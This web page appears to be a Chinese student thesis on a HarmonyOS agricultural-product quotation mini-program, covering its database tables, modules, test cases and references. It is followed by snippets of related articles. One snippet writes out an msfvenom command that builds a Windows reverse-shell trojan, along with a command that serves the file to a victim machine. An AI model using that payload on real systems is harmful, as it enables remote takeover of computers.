0

N

Y

上传ID

2

name

varchar

64

0

Y

N

文件名

3

path

varchar

255

0

Y

N

访问路径

4

file

varchar

255

0

Y

N

文件路径

5

display

varchar

255

0

Y

N

显示顺序

6

father_id

int

10

0

Y

N

0

父级ID

7

dir

varchar

255

0

Y

N

文件夹

8

type

varchar

32

0

Y

N

文件类型

表user (用户账户:用于保存用户登录信息)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

user_id

mediumint

8

0

N

Y

用户ID:[0,8388607]用户获取其他与用户相关的数据

2

state

smallint

5

0

N

N

1

账户状态:[0,10](1可用|2异常|3已冻结|4已注销)

3

user_group

varchar

32

0

Y

N

所在用户组:[0,32767]决定用户身份和权限

4

login_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

上次登录时间:

5

phone

varchar

11

0

Y

N

手机号码:[0,11]用户的手机号码,用于找回密码时或登录时

6

phone_state

smallint

5

0

N

N

0

手机认证:[0,1](0未认证|1审核中|2已认证)

7

username

varchar

16

0

N

N

用户名:[0,16]用户登录时所用的账户名称

8

nickname

varchar

16

0

Y

N

昵称:[0,16]

9

password

varchar

64

0

N

N

密码:[0,32]用户登录所需的密码,由6-16位数字或英文组成

10

email

varchar

64

0

Y

N

邮箱:[0,64]用户的邮箱,用于找回密码时或登录时

11

email_state

smallint

5

0

N

N

0

邮箱认证:[0,1](0未认证|1审核中|2已认证)

12

avatar

varchar

255

0

Y

N

头像地址:[0,255]

13

open_id

varchar

255

0

Y

N

针对获取用户信息字段

14

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

15

vip_level

varchar

255

0

Y

N

会员等级

16

vip_discount

double

11

2

Y

N

0.00

会员折扣

表user_group (用户组:用于用户前端身份和鉴权)

编号

名称

数据类型

长度

小数位

允许空值

主键

默认值

说明

1

group_id

mediumint

8

0

N

Y

用户组ID:[0,8388607]

2

display

smallint

5

0

N

N

100

显示顺序:[0,1000]

3

name

varchar

16

0

N

N

名称:[0,16]

4

description

varchar

255

0

Y

N

描述:[0,255]描述该用户组的特点或权限范围

5

source_table

varchar

255

0

Y

N

来源表:

6

source_field

varchar

255

0

Y

N

来源字段:

7

source_id

int

10

0

N

N

0

来源ID:

8

register

smallint

5

0

Y

N

0

注册位置:

9

create_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

创建时间:

10

update_time

timestamp

19

0

N

N

CURRENT_TIMESTAMP

更新时间:

4.4本章小结

本章在前述业务流程的基础上对系统的功能进行了详细设计,并给出了部分功能的活动图,同时根据系统数据存储的要求对系统的数据库进行了详细的逻辑设计和物理设计,为系统的具体实现打下坚实的基础


  1. 系统实现

5.1登录模块

本系统主要的用户有系统管理员、商家用户和普通用户,一个系统最基本的功能就是登录功能,本系统可以进行系统登录的角色有普通用户、商家用户、管理员,商家用户和普通用户对应前台登录界面,管理员和商家用户对应后台登录界面,首先进入登录页,输入用户名和密码,然后提交至服务端进行数据库数据验证,通过JavaEE逻辑代码判断数据库是否存在用户输入的这一个记录,如果存在,则判断用户身份,如果是用户,则进入用户前台,如果是管理员用户,则进入系统主页,并把用户对象存放在session中,如果不存在这样一条记录,则返回登录界面。

登录界面如下所示。

图5-1前台登录界面

5.2新闻资讯模块

商家和普通用户可以查看系统发布的新闻资讯,并可点击查看详情和点赞、收藏和评论。如下图所示为新闻资讯界面。

图5-2新闻资讯界面

5.3商城中心模块

商家和普通用户可以查看所有的产品信息,并点击进去可收藏、点赞、评论和购买等。如下图所示为商城中心界面。

图5-3商城中心界面

5.4我的模块

我的:里面包含了基本信息、收货地址、收藏、订单、购物车、订单配送等子菜单。

如下图所示为我的界面。

图5-4我的界面

5.5系统用户管理模块

管理员登入系统,可以添加新的管理员用户,删除现有的管理员,还可以对系统所有用户信息进行维护管理。

如下图所示为系统用户界面。

图5-5系统用户界面

5.6商城管理模块

商城管理:包含了商城中心、订单列表、订单分类、订单配送等子菜单。

如下图所示为商城中心界面。

图5-6商城中心界面

如下图所示订单列表界面

图5-7订单列表界面

如下图所示订单配送界面

图5-8订单配送界面

5.7公告信息管理模块

管理员可以对公告信息进行增删查改的操作,这些操作将在公告信息管理界面进行。

如下图为订单管理界面。

图5-8公告信息管理界面

5.8本章小结

在本章中主要对农产品报价系统小程序的功能实现进行了效果展示,该系统的主要功能有注册登录、系统用户、系统管理、公告信息管理、资源管理、商城管理等基本功能。

 

  1.  系统测试

6.1测试概述

该系统能够完成查看产品信息、购买产品等功能,做到所开发的系统操作简单,尽量使系统操作不受用户对电脑知识水平的限制,符合系统可维护性,由于系统涉及的信息比较广,数据库中的数据需定期修改,系统可利用的空间及性能也随之下降,为了使系统更好地运转,系统可以对系统数据及一些简单的功能进行独立的维护及调整;符合系统开放性要求,该系统能够在开放的硬件体系结构中运行,并且能与其他系统顺利连接。

6.2测试配置

(1)测试环境

系统一旦开发完成以后就要对系统进行测试,在本测试过程中对系统的运行环境平台环境如表6-1所示.

表6-1 系统测试环境

环  境

配  置

备  注

Web服务器(硬件)

惠普 CPU:2.0*2

内存:8G

硬盘:300GB

100/1000M局域网卡

数据库服务器(硬件)

惠普 CPU:2.0*2

内存:16G

硬盘:500GB

100/1000M局域网卡

操作系统(软件)

Windows XP或Windows 7及以上操作系统

Web服务器(软件)

JDK 7.0

Tomcat 8.0

数据库服务器(软件)

SQL Server 2008 数据库

客户机若干

惠普家用电脑常规配置

满足基本的网络运行条件即可

(2)测试工具

在对本农产品报价系统小程序进行功能测试时采用了当前流行的测试工具WinRunner;对系统进行性能测试时采用用户信息管理软件dRunner。这两款软件性能优越,操作简单,是进行测试的必备工具软件。

(3)测试流程

本系统在进行功能测试的时候采取黑盒测试的方法,在系统进行测试时根据第三章的系统需求分析进行测试,用以检验系统的功能是否能够满足用户的基本需求,测试流程如图6-1所示。

6.3 测试用例

(1)注册测试

表6-2注册测试用例

字段名称

描述

测试项

首页注册功能测试

输入数据

1、输入正确的邮箱、账号、密码、确认密码、以及验证码之后点击“注册”按钮

2、输入错误的用户名或密码、邮箱、验证码等,单击“注册”按钮

3、不输入邮箱、账号、密码、确认密码、以及验证码之后点击“注册”按钮

预计输出数据

1、用户能正确注册账号,成功插入数据库用户的账号资料,提示注册成功。

2、无法注册用户信息,注册失败。

3、无法注册用户信息,注册失败。

使用上述测试用例对前台首页注册界面进行测试,当在输入正确的邮箱、账号、密码、确认密码、以及验证码之后,系统将弹出注册成功信息提示对话框。

使用上述测试用例对前台首页注册界面进行测试,当在输入错误的用户名或密码、邮箱、验证码之后,系统将提示错误。

使用上述测试用例对前台首页注册界面进行测试,当在不输入用户名、密码、邮箱、验证码之后,点击注册按钮。

(2)登录界面进行测试 

表6-3登录测试用例

测试项

首页登录功能测试

输入数据

1、输入正确的用户名和密码,单击“登录”按钮

2、输入错误的用户名和密码,单击“登录”按钮

3、不输入用户名和密码,单击“登录”按钮

预计输出数据

1、数据库中存在的用户能正确登录,。结果弹出主界面。

2、错误的或者无效用户登录,登录系统失败。

3、输入用户名或密码信息为空,登录系统失败。

(3)产品信息管理进行测试

名称:用户管理测试目的:测试产品信息管理界面 

内容:口令的输入,合法性检查,合理性检查,界面的显示控制。 

下表描述了产品表中目前所存在的记录。

表6-4产品表预存数据

    产品名

产品类别

产品价格

产品状态

A

A

389

上架

B

B

249

上架

C

C

322

下架

D

D

168

上架

添加时应注意事项:

管理员添加产品时必须添加已存在的农产品类别,若该产品不属于现有的所有类别,则应该先添加产品类别。

下表描述了添加产品进行测试的用例,主要是为了防止添加产品时出现异常和存在的漏洞。

表6-5添加产品测试用例

输入

输出

产品名

产品价格

产品图片

   空

参数错误

参数错误

请选择上传图片

A

1

a.jpg

添加成功

(4)购买产品测试

名称:购买产品测试目的:测试购买产品界面 

内容:口令的输入,合法性检查,合理性检查,界面的显示控制。 

下表描述了购买产品的测试用例,防止购买时出错。

表6-6购买产品测试用例

输入

输出

用户ID

产品ID

产品数量

11

1

1

购买产品成功

22

农产品

请填写产品数量

33

农产品

a

购买失败

用户购买产品时,首先判断产品数量是否小于库存,若超出库存数量,则提示产品数量不足。

6.4测试结果分析 

通过对农产品报价系统小程序的测试,测试结果表明本系统能够完全的完成之前对系统的的功能需求分析,并能够实现农产品交易销售。同时,本系统良好的操作界面和菜单功能设计能够给操作者提供良好的视觉效果,具备了简单、美观的界面设计效果,达到了系统设计的目的。

  1. 总结与展望

经过这几个月的设计和开发,“基于鸿蒙的农产品报价系统小程序”已经完成了,其功能符合设计需求,能够完成用户的注册、农产品购买等功能。经过最后的使用,证明系统完全具有可行性与可扩充性。

在系统的分析阶段,主要是分析系统的需求,理解系统要完成的基本功能,找出系统的用例(Use Case)和角色(Actor),画出系统的用例模型图,用例模型是此后系统建模的基础。在用例的基础上分析顺序图和协作图,得到系统的所有对象,然后建立对象模型。抽象出系统的类,并将系统中联系紧密的类划分为若干个包,画出包图。有了这些基础,就可以将系统划分为小单元功能模块。

整个过程中,我必须认可UML统一建模语言,它让我很清晰的知道自己想做什么,想实现什么,对系统后面的代码编写起到决定性的帮助,同时经过本次系统的设计与实现,让我积累了很多经验,提高了编写程序的能力,为以后的学习和工作打下了坚实的基础。

由于时间有限,本系统还有待继续完善和改进,因此需要进一步进行分析和修改,以使其更加完善!

参考文献

[1]Pan H ,Chen H .Marketization of interest rate quotation mechanism and bank credit-empirical evidence from Chinese listed companies[J].Finance Research Letters,2024,63105111-.

[2]Hyo Y C ,Hun T K ,Youb C C , et al.Comparison of current relative value unit-based prices and utility between common surgical procedures, including orthopedic surgeries, in South Korea[J].Cost Effectiveness and Resource Allocation,2024,22(1):27-27.

[3]李竞择,范承宇,欧阳迪.一种开源鸿蒙下基于Dokcer的Web开发流程[J].机电产品开发与创新,2024,37(02):51-53.

[4]邹泉泉,吕明,邹永义.基于鸿蒙的资源调供辅助决策系统的设计与实现[J].工业控制计算机,2024,37(03):139-141.

[5]掌淑媛,李晋琳,李达.基于开源鸿蒙操作系统智慧警车的设计与实现[J].警察技术,2024,(02):65-72.

[6]王绅同,苏清华,王立勇,等.基于鸿蒙系统的无人方程式赛车远程监控与数据管理系统开发[J].北京信息科技大学学报(自然科学版),2024,39(01):61-68.DOI:10.16508/j.cnki.11-5866/n.2024.01.010.

[7]卢梦雪.6家国有大行聚齐鸿蒙系统朋友圈[N].华夏时报,2024-01-29(010).DOI:10.28391/n.cnki.nhxsb.2024.000060.

[8]张兴旺.华为发布原生鸿蒙操作系统星河版[N].中国证券报,2024-01-19(A06).DOI:10.28162/n.cnki.nczjb.2024.000583.

[9]罗玉海,王椿曦,熊正烨.基于鸿蒙系统和OTA技术的农业大棚测控系统[J].现代农业装备,2023,44(06):31-37+75.

[10]刘丹,董明华,刘正.基于鸿蒙系统的分布式音乐播放器设计与实现[J].安徽电子信息职业技术学院学报,2023,22(04):15-19.

[11]陆涵之.安卓版本与鸿蒙将不再兼容网易、美团急招鸿蒙开发员[N].第一财经日报,2023-11-13(A09).DOI:10.28207/n.cnki.ndycj.2023.004343.

[12]万华文,黄鹏.基于开源鸿蒙的云边协同智慧隧道解决方案[J].城市建设理论研究(电子版),2023,(30):133-135.DOI:10.19569/j.cnki.cn119313/tu.202330045.

[13]倪峰,杨立志,苏春芳,等.鸿蒙应用开发嵌入高职物联网课程教学的实践探究[J].电脑知识与技术,2023,19(28):167-170.DOI:10.14004/j.cnki.ckt.2023.1475.

[14]王建忠,刘丹,董明华.基于鸿蒙系统的天气预报设计与实现[J].信息与电脑(理论版),2023,35(17):161-164+195.

[15]王浩.基于鸿蒙OpenHarmony的语音识别控制系统设计与实现[J].软件工程,2023,26(09):59-62.DOI:10.19644/j.cnki.issn2096-1472.2023.009.011.

[16]钟丽容.基于开源鸿蒙系统的人工智能实训系统设计与实现[J].网络安全和信息化,2023,(09):116-118.

[17]程思竹,陈宜瑶,肖刚锋,等.基于工时法和CBR技术的注射模报价系统设计与实现[J].模具工业,2023,49(08):11-16.DOI:10.16787/j.cnki.1001-2168.dmi.2023.08.002.

[18]朱伟,邱浩伟.基于微信小程序的检验检测综合业务报价系统设计与开发[J].中国检验检测,2023,31(04):76-79+56.DOI:10.16428/j.cnki.cn10-1469/tb.2023.04.020.

[19]Kalok S .The Analysis of Smartphones’ Operating System and Customers’ Purchasing Decision: Application to HarmonyOS and Other Smartphone Companies[C]//[出版者不详],2022:

[20]Heyang X .Research on the Huawei Business Model and Hongmeng System[C]//[出版者不详],2022:

致 谢

大学的学习生活总是感觉短暂的,总感到知识还没有学够,但大学毕业就在我们面前,即毕业设计即将的结束,意味着我们的大学生涯即将结束。毕业设计是我们在大学所学知识的一次总结,更是对我们过去所学知识的提炼和升华,通过毕业设计,我们认识到大学学习过程中还有那些知识没有掌握,那些知识需要我们进入深入研究。这次毕业设计让我学到了很多新的知识,研究了一些新的以前自己不熟悉的领域,使我处理问题的能力得到了一定的提升,同时也为今后的继续深造或踏入社会大门提供了很好的锻炼机会。

我也曾经沮丧过,失落过,想放弃过,可是因为你们这不厌其烦的鼓励和支持才使得我坚持了下来,这里我要对我的老师和同学们说句“谢谢你们”。因为我们的知识是有限的,所以本文将不可避免的会出现一些错误和不足之处,还请老师指正。

免费领取项目源码,请关注❥点赞收藏并私信博主,谢谢~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972337.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RoboCom 2021 编程技能赛决赛 7-4 猛犸不上 Ban

7-4 猛犸不上 Ban 赛题 分数 30 作者 DAI, Longao 单位 杭州百腾教育科技有限公司 在一个名叫刀塔的国家里&#xff0c;有一只猛犸正在到处跑着&#xff0c;希望能够用它的长角抛物技能来撞飞别人。已知刀塔国有 N 座城市&#xff0c;城市之间由 M 条道路互相连接&#xff…

【C语言】【数据结构】冒泡排序及优化

一、算法思想 冒泡排序是一种简单的排序算法。一次从前往后地走访待排序的元素序列被称为一趟&#xff0c;每一趟都会把相邻的两个元素的错误顺序交换&#xff0c;将当前趟次中最大或者最小的元素像“冒泡泡”一样冒到最后面&#xff0c;反复地走访元素序列&#xff0c;直到所有…

Maven 安装-从下载、安装、配置以及检查是否安装成功,最详细安装教程

以下内容参考&#xff1a;https://juejin.cn/post/6844903543711907848 原文标题&#xff1a;Maven入门&#xff0c;读完这篇就够了 作者&#xff1a;嘟嘟MD 链接&#xff1a;https://juejin.cn/post/6844903543711907848 来源&#xff1a;稀土掘金 ----- 注&#xff1a;所有流…

计算机组成原理——运算器ALU,移位操作

一、组合逻辑电路和时序逻辑电路 组合逻辑电路&#xff1a;其输出仅取决于当前输入组合&#xff0c;不依赖先前输出&#xff0c;不具备存储状态的能力 时序逻辑电路&#xff1a;其输出不仅取决于当前输入&#xff0c;还取决于先前的输出&#xff0c;具备存储状态的能力。 AL…

多 NodeJS 环境管理

前言 对于某个项目依赖特定版本的 NodeJS&#xff0c;或几个项目的 NodeJS 版本冲突时&#xff0c;需要在系统中安装多个版本的 NodeJS&#xff0c;这时可以使用一些工具来进行多个 NodeJS 的管理。 有很多类似的 NodeJS 管理工具&#xff0c;如 nvm, nvs, n 等&#xff0c;接…

【Unity】 HTFramework框架(五十四)【进阶篇】Deployment 轻量级资源部署管线

更新日期&#xff1a;2024年7月31日。 Github源码&#xff1a;[点我获取源码] 索引 Deployment 轻量级资源部署管线使用 Deployment一、创建部署配置二、编辑部署配置三、正式开始资源部署步骤一&#xff1a;资源打包步骤二&#xff1a;资源版本构建步骤三&#xff1a;资源版本…

学习C语言第19天(练习题)

编程题 第一题 改数字 //改数字 int gaishuzi(int * input) {int sum 0;int i 0;while (*input){int bit* input% 10;if (bit % 2 1){sum 1 * pow(10, i);i;}else{sum 0* pow(10, i);i;}*input / 10;}return sum; } int main() {int input 0;scanf("%d&quo…

域气象-大气化学在线耦合模式(WRF/Chem)在大气环境中的应用

随着我国经济快速发展&#xff0c;我国面临着日益严重的大气污染问题。近年来&#xff0c;严重的大气污染问题已经明显影响国计民生&#xff0c;引起政府、学界和人们越来越多的关注。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果&#xff0c;同时气象因…

嵌入式day17

尾插&#xff1a; 头删&#xff1a; 尾删&#xff1a; 双向链表&#xff1a; 循环链表&#xff1a; 内存泄漏&#xff08;malloc 调用的节点需要手动清除&#xff09; 清除&#xff1a; 头删效率更高&#xff0c;算法复杂度更低 共用体 共用体的成员&#xff0c;会共同占用相…

CX32L003F8P6T芯片解密程序破解

CX32L003F8P6T可替代N76E003 CX32L003是一款内嵌32位ARM Cortex-M0内核的超低功耗、Low Pin Count和宽电压工作范围(2.5V~5.5V)的微控制器&#xff0c;最高可运行在24MHz&#xff0c;内置32K/64K字节的嵌入式Flash&#xff0c;4K字节的SRAM&#xff0c;集成了12位1Msps高精度SA…

结构型设计模式:适配器/代理

结构型设计模式&#xff1a;适配器/代理 (qq.com)

软件测试——用例篇(下)

基于需求的设计⽅法 基于需求的设计⽅法也是总的设计测试⽤例的⽅法&#xff0c;在⼯作中&#xff0c; 我们需要参考需求⽂档/产品规格说明书来设计测试⽤例。测试⼈员接到需求之后&#xff0c; 要对需求进⾏分析和验证&#xff0c;从合理的需求中进⼀步分析细化需求&#x…

参加过奥运会的名人和一些几乎参加奥运会的名人 有很多是我们熟悉的人

Facebook创始人也参加过奥运会并获得名次 英国皇室安妮公主和伊丽莎白二世女王的外孙女扎拉廷德尔参加过奥运会 很多我们熟悉的演员也参加过奥运会的选拔 凯特琳詹纳、扎拉廷德尔、科迪辛普森、杰西卡斯普林斯汀 莱昂内尔梅西、迈克尔菲尔普斯、塞雷娜威廉姆斯和勒布朗詹姆斯…

MySQL —— 初始数据库

数据库概念 在学习数据库之前&#xff0c;大家保存数据要么是在程序运行期间&#xff0c;例如&#xff1a;在学习编程语言的时候&#xff0c;大家写过的管理系统&#xff0c;运用一些简单的数据结构&#xff08;例如顺序表&#xff09;来组织数据&#xff0c;可是程序一旦结束…

【图像处理】好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗?

好莱坞电影里瞬间恢复模糊人像是如何实现的&#xff0c;是真实的技术吗&#xff1f; 图片来源&#xff1a;论文《PULSE&#xff1a;Self-Supervised Photo Upsampling via Latent Space Exploration of Generative Models》 使用非常低分辨率照片和视频恢复人像高清照片的桥段&…

【前端 · 面试 】HTTP 总结(一)—— HTTP 概述

最近我在做前端面试题总结系列&#xff0c;感兴趣的朋友可以添加关注&#xff0c;欢迎指正、交流。 前端面试http总结.002.jpeg 概念 HTTP 的全称是 Hyper Text Transfer Protocol&#xff0c;翻译过来就是“超文本传输协议”。 HTTP 是一个简单的请求-响应协议&#xff0c;它通…

MSF回弹木马windows测试

windows主机地址为192.168.104.133 kali系统中使用msfvenom命令生成windows系统的回弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.104.131 LPORT12345 -f exe -o shellreverse.exe使用python3 -m http.server 9999来传递文件到windows主机中 msfco…

代码随想录算法训练营第四十九天| 42. 接雨水 、84.柱状图中最大的矩形

42. Trapping Rain Water 双指针暴力解法&#xff1a; 每一列雨水的高度&#xff0c;取决于&#xff0c;该列 左侧最高的柱子和右侧最高的柱子中最矮的那个柱子的高度&#xff0c;即&#xff1a; min(lHeight, rHeight) - height class Solution:def trap(self, height):if l…

华杉研发九学习日记23 多线程

华杉研发九学习日记23 java多线程 一&#xff0c; 线程 1.1 进程 进程就是一个程序运行的标志&#xff0c;是程序运行的状态。 一个正在运行的程序就是一个进程。进程是操作系统资源分配&#xff08;计算资源&#xff0c;比如CPU&#xff0c;存储:内存&#xff09;的最小单…

Day5

BootStrap 这个玩意可以理解为&#xff0c;已经写好的css样式的封装。 在开发中&#xff0c;如果需要用到这个&#xff0c; 首先得下载下来 找到官网&#xff0c;Bootstrap中文网 (bootcss.com) 这里我下载的是最新版的v5&#xff0c; 解压后&#xff0c;把该文件夹放进项目…